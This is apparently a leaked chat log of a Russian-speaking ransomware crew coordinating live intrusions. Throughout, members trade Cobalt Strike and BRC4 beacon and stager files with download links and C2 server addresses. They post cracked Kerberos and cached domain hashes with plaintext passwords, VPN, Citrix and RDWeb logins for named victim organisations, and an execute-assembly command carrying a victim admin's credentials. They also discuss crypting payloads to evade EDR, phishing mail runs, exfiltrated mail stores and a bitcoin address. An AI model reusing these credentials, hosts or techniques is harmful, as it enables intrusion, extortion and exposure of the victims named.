вчерашний ок?

> <@usernamegg:matrix.bestflowers247.online> почему ?

BRC4 вариант на новом попробовать

щас

сервер покупали же вы

понял

как сделаю новый лоадер, возьмете обратно?

> <@usernamegg:matrix.bestflowers247.online> не ок

64.176.219.106:45679

> <@usernamegg:matrix.bestflowers247.online> 2cob_beacon_x64.bin

2cob_beacon_x64.dll

щас

http://temp.sh/jjGky/2cob_beacon_x64.dll

```

http://temp.sh/XMTic/2dns_payload_x64.dll

а если просто дллку ему сунуть?

может на рандлл тупо орет

давай ехе тогда

> <@usernamess:matrix.bestflowers247.online> ```

185.219.221.136:36051

отвалить надо мин120

даешь?

```

kekhash.txt

$krb5tgs$23$*lsadmin$domain.leonardssyrups.com$MSSQLSvc/LSSRV02Q.domain.leonardssyrups.com*$7f994821f5030807de0...2a017711aa:Lem0n@De!

++

stop my all

image.png

> <@usernamett:matrix.bestflowers247.online> sent a file.

5.7z

> <@usernameww:matrix.bestflowers247.online> sent a file.

6.7z

> <@usernamegg:matrix.bestflowers247.online> sent a file.

7.7z

офнусь, врядли уже сегодня прошлем

Привет. Опять я пропал, ппц как неудобно уже. Хотел в телегу отписаться, но акк твой удален почему-то

```

сорри(

`microstrategy.com`

`eb909a28bb2734510608dbceeb3057e9`

`5748e201ac18944dd2ae67287944a5ee`

`5dc1ab663895a7c2e9dd40da76769d8e`

Братец, прошу, отнесись с пониманием. Последний шанс дай мне сделать все нормально) Я сильно перемудрил и расслабился, думал, что все четко работает, но это не так, сейчас вижу проблемы все, ибо уже прям вошел в режим и начал думать наконец то ( нельзя на выходных целый день отдыхать, мне это мешает ).

Для меня это все очень важно, ты доверился мне, а я тебя опять подвел и пиздец как не по себе

Но я обещаю, что реабилитируюсь

5748e201ac18944dd2ae67287944a5ee:AR@6460

++

Это последний раз ,когда такое происходит, впредь такого больше не будет, все будет четко и в срок

я знаю, поэтому и написал это

понедельник

я буду ебашить 24.7

да понимаю

в понедельник все будет готово

ебашить буду 24/7

> <@usernamegg:matrix.bestflowers247.online> еще раз понедельник ?

уцспею сделать к выходным, но запусков же в выходной не будет

мне надо переписать на c2 и на самом боте

это

в смысле мыло и пасс поискать?

скоро запущу поиск

> <@usernamemm:matrix.bestflowers247.online> `5dc1ab663895a7c2e9dd40da76769d8e`

++

2-3 дня кароче, то есть в птяницу вечером или в субботу утром будет релиз версия уже

запустил

сброшу как закончится

в понедельник будем масс на пику слать?

ладно, я сделаю в любом случае

ок

+++

exp_search_mp_@microstrategy.com.txt

словили?

до завтра

давай

гляну

+++

> <@usernamegg:matrix.bestflowers247.online> `https://188.39.50.90/+CSCOE+/logon.html :support:qwerty:AnyConnectVPN https://www.zoominfo.com/c/ffp-packaging-solutions/25921955 23kk UK`

```

> <@usernamemm:matrix.bestflowers247.online> ```

> <@usernamegg:matrix.bestflowers247.online> !!

я тут, если что

о круто!

Любимая марка машины

просит

я пробовал))

большими буквами только

не подошло большими

с маленькими пустило

да

аа да

взять еды

если можно

только все приехали

`6f1a92c226e0eb3306ffd31e55c099f1`

на свое усмотрение возьми если что

Оки

Ок спасибо

`$DCC2$10240#backup_service#9551d32268efa88dd633f10a38eae931`

Братец, пойду отдыхать, затвра буду в обойме, скинешь, я с утра чекну, добрых снов, до утра

Завтра в 09 по МСК тут буду, мсожет раньше

Ok

`$DCC2$10240#pcadminaj#d25193733091a9ca76c0c87840ffe1d0`

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> ```

есть кто живой?

eina_adm_kekhash.txt

* `EINA.EVRAZINC.AD/DNORMAN:$DCC2$10240#DNORMAN#fe939196a70d7720416ae2353c63a641`

* `eina.evrazinc.ad\\AHAMILTON Winter2024!`

* `eina.evrazinc.ad\AHAMILTON Winter2024!`

cytray.exe

в DNS кобе захостили, хуй убрали, вы че угараете?

X 2024-01-31 в 09.03.54.jpg

cob_1DNS

> <@usernamess:matrix.bestflowers247.online> sent a file.

dc9d30eadd4354c7bc973fcb6e79ddaf

> <@usernamess:matrix.bestflowers247.online> sent a file.

Доброе

Dobroe!

Dobroe!

Доброе

доброе

signle de в блеклистах находится

singl _ DE.ovpn

не могу на некоторые нужные сайты заходить

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> ```

и скорость сегодня плохая, даже поиском пользоваться не могу

```

```

```

> <@usernamess:matrix.bestflowers247.online> ```

Привет

Дан сделает exe &

?

мне тут отлучится на час нужно примерно

Привет, если что все по плану идет, все получается

3_64.bin

Занимаюсь

привет, а что нового в 4.91? можешь дать клиент потыкать?

> <@usernamemm:matrix.bestflowers247.online> sent a file.

Сделаем. Скоро пришлю.

++

Привет

понял

Может дать доступ к тачке где edr, чтоб тестировать запуски и паль?

> <@usernamemm:matrix.bestflowers247.online> sent a file.

++

1.7z

Жду информацию по запуску и работоспособности

работы хватает видимо?)

> <@usernamemm:matrix.bestflowers247.online> sent a file.

2.7z

> <@muaddib6:matrix.org> Жду информацию по запуску и работоспособности

Ок. Сервак живой езе? Делаем с инфецированием еще кобу

`https://www.zoominfo.com/c/c--com-group-inc/18157419`

+

а так с впнок много дают?

hi

privet , vsem

est kto?

> <@usernamegg:matrix.bestflowers247.online> sent a file.

мм прикольно, я думал брутом уже ничего не выдернешь

image.png

`http://temp.sh/INsKN/image111.png`

`$DCC2$10240#lofflersvc#59a0ced0e89f8044dfa24eadebaee982`

`$DCC2$10240#Administrator#e7abf452c8bb73895f7b9d850097ddd4`

> <@usernamess:matrix.bestflowers247.online> sent a file.

`ee6ab1aaa455e31f87bde145bd19c5b7`

`a67a230e7e3deb5221ea42a0236726e8`

хорошие базы пассов и айпишников значит

молорики что могу сказать, нашли подход

Всем привет!

dostup dadite ? starie logi tam est?

i dumau budu gotov k pnc startanut

ee6ab1aaa455e31f87bde145bd19c5b7:loFFler#1

dogovarivalis na 15 prosto u mena vse sdohlo , shas ochen chuvstvitelno google otnositsa

+

est idea , po corp

> <@ssd:matrix.bestflowers247.online> dostup dadite ? starie logi tam est?

логи остались

delau lening softa corp oni sami zahodat ukazivaut company i mail, telefon

креды те же, линки поменялись и там надо будет установить extension кастомный, чтобы дотсуп в панель был

mi im shlem fail na ystonosku

s instrukciy kak skachat

produbliruy

dostup

pliz

a sdelal stilak shtobi persi avto tashil?

sps

> <@ssd:matrix.bestflowers247.online> a sdelal stilak shtobi persi avto tashil?

`$DCC2$10240#loffleradmin#6bfbdc88ba8c5199863fea8b167c49bb`

`$DCC2$10240#Administrator#065029ced40479629e9433d371a30361`

2) moment vzal i aki rebat mogu segodna testi delat

nado na vcc zagnat

moi aki budut v pnd

est aki tut y sosedey ,mpjem segodna prolitsa na test

moi aki budut k pnd

`YellowPlane76!`

5vcc po 1k kinem?

mojem tetit

> <@n3auxaxl:matrix.collectionofmanager.space> да

> <@ssd:matrix.bestflowers247.online> kakie y nas lendi est napomni , pliz

- adobe

вот

ewe vopros po injetirovaniu

budew realizovivat

?

> <@ssd:matrix.bestflowers247.online> ewe vopros po injetirovaniu

web injekti , dla raboti mne nujno vstavit

botam

это exe обычный будет?

net

а что тогда?

я смогу только exe инжектить

rbs.txt

$krb5tgs$23$*Administrator$ffp.ffppkg.co.uk$MS..0d9afbf1:Goodmorningvietnam!

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*Administrator$ffp.ffppkg.co.uk$MS..0d9afbf1:Goodmorningvietnam!

bc1qqj6pp5d00rq8646cxj2648vkwkm9pqxafd3zmt

> <@usernamemm:matrix.bestflowers247.online> sent a file.

3.7z

lendi gotovi?

kakoy fail budem gruzit?

ok

Это все позже обсудим, мне нужно закончить пару дел до этого

dostp hot day poka

Я думаю что MSI, а там посмотрим что и как

> <@ssd:matrix.bestflowers247.online> dostp hot day poka

сек

SetupAuth.mp4

PAuthExtension.7z

PASS: 84FEYd7evUrC7lNAYm2toAlMDnR2JRSf2AwLgC1pYPpk7vjB

ystonovka?

Это extension, там инстуркция и вот видео, как все сделать, сейчас скину ссылку, минуту

leonardssyrups.com

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/EuvJWNrTbdVDGRaLhxJ6LZvMowWfIjYyDkmjOkuXO8Asvnk9?CDw9iTqdy=DRuqJfT7ezr4zZfEMJlzQP5ITV5fiTVPbjXc6DhxvTRscBXJfeFW

Вот, ссылка для входа и пассы

Напишешь как зайдешь или будут вопросы

.hta

shto za fail

?

spalil tut

gruzat ego

.hta - html application, там внутри vbs или js, но на него MOTW идет, делал уже такой файл, не очень хорошо идет

ponal

skinew day znat

хм, тогда странно

`https://50.173.219.157/sslvpn_logon.shtml:test:Welcome123!:sherman.domain`

```

я завтра приду к 12 ладно? надо на права сходить

tut

> <@ssd:matrix.bestflowers247.online> skinew day znat

kogda zakonchiw

lendi jdat kogda

goc_creds.exe

```

processes_ldap.exe

`execute-assembly processes_ldap.exe -ldaplogin AHAMILTON -ldappass Winter2024! -controller 10.106.6.3 -threads 5 -pingtimeout 30 -proctimeout 60 -fromfile C:\Users\Administrator\Desktop\EVRAZINC\list.txt -throttle 5 -outresult C:\Users\Administrator\Desktop\EVRAZINC\eina_users_outfile.xls`

> <@ssd:matrix.bestflowers247.online> lendi jdat kogda

я по боту заканчиваю хотфиксы

k

da

prosto na kow kin

i zavedu na vcc

sam

image.png

continue->add exception->done

ничего настраивать отдельно не надо

в последниях версиях тандерберда

а брутят и рдп тоже или впнки только?

https://forum.exploit.in/topic/211695/

https://mega.nz/folder/uNhkgJhR#KafExw97u2vM3QNtAdVC9A

https://forum.exploit.in/topic/236790/

есть кто?

bc1qqj6pp5d00rq8646cxj2648vkwkm9pqxafd3zmt

new kow

++

> <@usernamegg:matrix.bestflowers247.online> 5B

```

1kekhash.txt

```

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> `https://remote.dilweg.com/RDWeb/Pages/en-US/login.aspx :scanner@dilweg.com:Passw0rd 20кк`

`csrox.org`

```

hi

nujen servak

```

`:$DCC2$10240#jmason#34a25150647a4cfd4b7f63a7e50a69ff`

Мы предоставляем лучшие комплексные услуги в области медицины, безопасности, управления рисками путешествий и кризисного управления, доступные в любой точке мира, предоставляемые нашими командами интенсивной терапии. фельдшеры, врачи, медсестры и ветераны военных спецопераций. Наши медицинские консультации и услуги по эвакуации включают эксклюзивные отношения с Отделом специальных операций Департамента неотложной медицины Джонса Хопкинса, Elite Medical Group и Partners HealthCare. Наш послужной список сделал нас выбранным поставщиком для государственных учреждений и некоторых крупнейших мировых компаний, университетов, некоммерческих организаций и туроператоров. Наша миссия проста – быть рядом, когда это важнее всего.

image.png

`https://grvpn.globalrescue.com/dana-na/auth/url_default/welcome.cgi :admin:Password123`

`https://mail.ssmnlaw.com:4434/sslvpn_logon.shtml:scanner:scanner:sstmnlaw.lan`

> <@usernamezz:matrix.bestflowers247.online> `https://mail.ssmnlaw.com:4434/sslvpn_logon.shtml:scanner:scanner:sstmnlaw.lan`

https://www.lsuhsc.edu/admin/it/helpdesk/vpn/docs/IVANTI%20Client%20for%20Windows.pdf

**WINDOWS 10 Installer** > https://www.lsuhsc.edu/admin/it/helpdesk/vpn/docs/ps-pulse-win-9.1r11.0-b6725-64bitinstaller.msi

GlobalRescue_all_kekhash.txt

image.png

```

```

у тебя осталась 4.8 коба которая не кончается срок действия?

мы с SS

`$DCC2$10240#mnawaz#711dedc0d89ea5de70d1a31a3c846c02`

92828324c2e25e4b27da9f4bd676531f

$DCC2$10240#Administrator#b0967cc6b77604938fcdc02480947fca

> <@usernamess:matrix.bestflowers247.online> sent a file.

> <@usernamehunter:matrix.bestflowers247.online> $krb5tgs$23$*mnawaz$GlobalRescue.local$MSSQLSvc/sccm.GlobalRescue.local:1433@GlobalRescue.local*$1bc8d751d97......a611f730cb06:F12@a284

`GR911m31!!!`

$DCC2$10240#Akamal#48fbd952bd3a06350bc498847d55045d

$DCC2$10240#mnawaz#711dedc0d89ea5de70d1a31a3c846c02:F12@a284

0x0200cf360ebbacf7bf40326746fbf561c8a9e3fc1ca37225a60117a76ee707256ae04c84abdde40156dff76e666db5f1716cee216f27cc202cf3012f74d5a25463645c6a5a91:GR911m3123

++

STOP MY ALL

Доброе утро! Я тут

я зашел

на сервер

там пиздец он год не работал

кипишь поднял

```

какие то долбаебы еще юзали ))

че они там покупали интересно 🤔

для спама я сам поднимаю

на сипанелях

https://backconnect.org/ вот тут покупали

LINUX: https://backconnect.org/?id=da898393512221b7e5550400ed60cf8d

скоро

http://95.216.29.185/0d650fb25643341d34db235021539c1c/?pass=adm443&rawdata

hi

2file_locker.zip

очень СРОЧНО!!!

Ghbdtn> aПривет, все поп плану

* Привет, все по плану

под точку дан тоже не даст exe ?

Делаю

++

kak kinew denejku day znat

dalee budem konvertit

i mojem lit

> <@muaddib6:matrix.org> Делаю

+

---

101G /home/ftp_white/SSTMNLAW/PST

---

```

* ```

* ```

> <@usernameww:matrix.bestflowers247.online> sent a file.

1.7z

---

Тут все

++

> <@usernamecc:matrix.bestflowers247.online> ```

`64.176.219.106:35327`

+

> <@usernamegg:matrix.bestflowers247.online> https://141.14.231.10:443/+CSCOE+/logon.html :angelo:public:mpikg_mfa_webvpn_tunnel-group 2.7б - кто этих ребят взял в работу ?Ю что по ним ?

> <@usernamegg:matrix.bestflowers247.online> скоро такой же станешь как батей побудешь пару лет )

епт, я даже не слышал о таких)

у них такой-то прикол есть?

ааа)

поход то ли на борбра, то ли на медведя)

* похож то ли на борбра, то ли на медведя)

+ может вживую увижу

мягко говоря долекова-то )

> <@usernamegg:matrix.bestflowers247.online> sent an image.

image.png

```

здоров

мы готовим легенды

аа

это ты с сеток?

файл подготовлю

длл может лучше?

`a798f3ade43aded1eb9ab4f96bc3d7fe`

> <@usernamegg:matrix.bestflowers247.online> я слала все эти дни просто письма

a798f3ade43aded1eb9ab4f96bc3d7fe:LOffLER#1

> <@usernamegg:matrix.bestflowers247.online> сорентируй по времени когда ждать ехе?

ок, 120 писем прошлю

ты пейлоад сам сделаешь?

а, и крипт кстати

да я отдал на крипт уже,жду

скину криптованый

текс говорит у вас с рдп брута таргетов много

я думал тема с брутом рдп уже дохлая

вроде нет

msi есть

но проверю чисто ли

чисто, путти запускается

ого круть

> <@usernamegg:matrix.bestflowers247.online> уникальные логины пароли нужны

на месте

аа понятно

то есть это ты по своим

жду, делает

> <@usernamegg:matrix.bestflowers247.online> нужно ребутнуть сервак кобы

> <@usernamegg:matrix.bestflowers247.online> мне надо доступ к билдеру

это для базика

да, но у него палило js

```

2 из 5 спалило

попробуй

пожалуйста, это старый пароль от твоего акка админки

там менять его не было смысла

привет. да, сорри, вчера выбыл немного

длл

аа блин

да, ок

сорян

ну давай дам екзе исходный, ты дальше сам

x64

stager_1_bmw02_x64.exe

ты подписывать будешь екзе?

пилю

++

ок

ясно

куд

* гуд

ok

+

кидай

на дефе проверять будешь?

Ты мне еще деф не дал

Первый раз слышу такое

edr?

edr думаю грохнет

> <@usernamegg:matrix.bestflowers247.online> stager_1_bmw02_x64.exe

`SSTMNLAW | citrix(dostup) | 3srv/1 trust | 1 Vcenter/1 Esxi | $<5M | cob_1 | ZZ | Law Firms & Legal Services · Minnesota, United State | www.ssmnlaw.com | Defender/Webroot | DW:340gb->ftp6/4(backup data) | BASTA 3.0 | 01.02.2024 | (id:9b8520f5-439c-4184-8212-0f1114b4b269)`

Вот stager_1_bmw02_x64.dll я б поделал

Раньше его делал вроде как

так её вроде другой человек сделал

Вчера вроде победил

cob4_443.bin

+

> <@usernamett:matrix.bestflowers247.online> sent a file.

+

+

> <@usernamegg:matrix.bestflowers247.online> а сделай еще dll

stager_1_bmw02_x64.dll

точка входа CfGetPlatformInfo

c дефом делать что-то?

AA.rar

sdgdf2dsgd

> <@usernamett:matrix.bestflowers247.online> sent a file.

+

а пасс ?

123321

но я все же msi прошлю

хром блочит скачивание

Давай пока на кобе остановимся

Проверь кобу

stager_1_bmw02_x64_crypted.rar

> <@usernamegg:matrix.bestflowers247.online> stager_1_bmw02_x64.exe

> <@usernamett:matrix.bestflowers247.online> cob4_443.bin

da

> <@usernamett:matrix.bestflowers247.online> cob4_443.bin

cob4_443.rar

вроде чисто на сей момент)

++

+

пока чисто что дал

> <@usernamegg:matrix.bestflowers247.online> sent a file.

лучше бы дождался бурито

сижу теперь с 2 тачками

думаю что делать дальше

придумал теорию ) подключаюсь по ВМИ и зову таким образом! Первая пришла тачка пока живет

пока не надо

вроде идет

ок

давай серт

ок

так этот тоже Error: key status is disabled

пролил exe скоро проверю чисто ли

чисто

прошлю 120 писем, это будут ответы на ответы

чисто крупные компании

знать бы что с этим делать

+

> <@usernamegg:matrix.bestflowers247.online> sent a file.

2.7z

))

привет, делаю апдейт еще

не могу сейчас делать

не потому что не хочу

а потому что старый побил, новый делаю

вес заметно снизил, пейлоад стенографией в bmp сделал

https://scanner.to/result_EDR/3tx4KTxmSLsT

BRC4 тот же, ничего не изменилось кроме веса

nessus.exe

nable.exe

уже прослал

просто там и компании из европы были

ну запусков нет

реверсеры?

Значит файл отработал

реверсеры, это кто?

Люди?

Могу дать совет, как нам раньше говорили, мол нельзя работать грязными исходниками.

А тем более если edr, то там вообще не имеет смысла, так как он еще круче её видит по артефактам

> <@usernamegg:matrix.bestflowers247.online> битдефендер

> 1 min ago 81.200.197.166 Germany [DE] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

есть три скачивания из европы

но вот никто не запустился

опять же, это чисто крупные компании

возможно тупо не могут msi запускать

`https://99.209.58.106:443/RDWeb/Pages/en-US/login.aspx :NHTC\student1:hellokitty (nodomain.com) RDWEB`

https://5.150.99.51:443/RDWeb/Pages/en-US/login.aspx:ENGAYNE\test:test (nodomain.com) RDWEB

> <@usernamett:matrix.bestflowers247.online> sent a file.

3.7z

+

> <@usernamezz:matrix.bestflowers247.online> `https://99.209.58.106:443/RDWeb/Pages/en-US/login.aspx :NHTC\student1:hellokitty (nodomain.com) RDWEB`

`https://85.221.216.186:443/+CSCOE+/logon.html:test:test123 (c216-186.icpnet.pl.), group: LargoPoznanVPN CISCO`

нет

`https://92.79.55.157:443/+CSCOE+/logon.html:mail:Pa$$w0rd (nodomain.com), group: Remote Access CISCO`

`https://109.205.169.55:443/+CSCOE+/logon.html:admin:cisco (109-205-169-55.static.monzoon.net.) CISCO`

> <@usernamejj:matrix.bestflowers247.online> `https://109.205.169.55:443/+CSCOE+/logon.html:admin:cisco (109-205-169-55.static.monzoon.net.) CISCO`

> 2 min ago 193.134.72.183 Switzerland [CH]

еще одно скачивание

но тоже нет запуска

191.37.4.170

из бразилли вот был запуск

и скачивнаие было

спросите у дана стукнул ли

очень на реальный запуск похож

ты тут?

сек

еще выкачиваб пст

ага, реверс может

да, похоже реальный

только не доменный

192.145.116.57

о, с юсы какой-то запуск

тоже было скачивание и запуск

с какой почты бразилец пришел

можете посмотреть?

кудато не туда залетело )

> <@usernamegg:matrix.bestflowers247.online> sent a file.

на отстуке задержка 5-6 минут

я сделал так, потомучто в anyrun песочнице там до 5 минут время исполнения

4.7z

бруту доступов к ове?

или к впн?

как это делают, я хз, нужно разбираться

понятно, что перебором

Ну тогда реально не вижу смысла делать файлы, да еще тестить на таких крутых edr

> <@usernamegg:matrix.bestflowers247.online> ```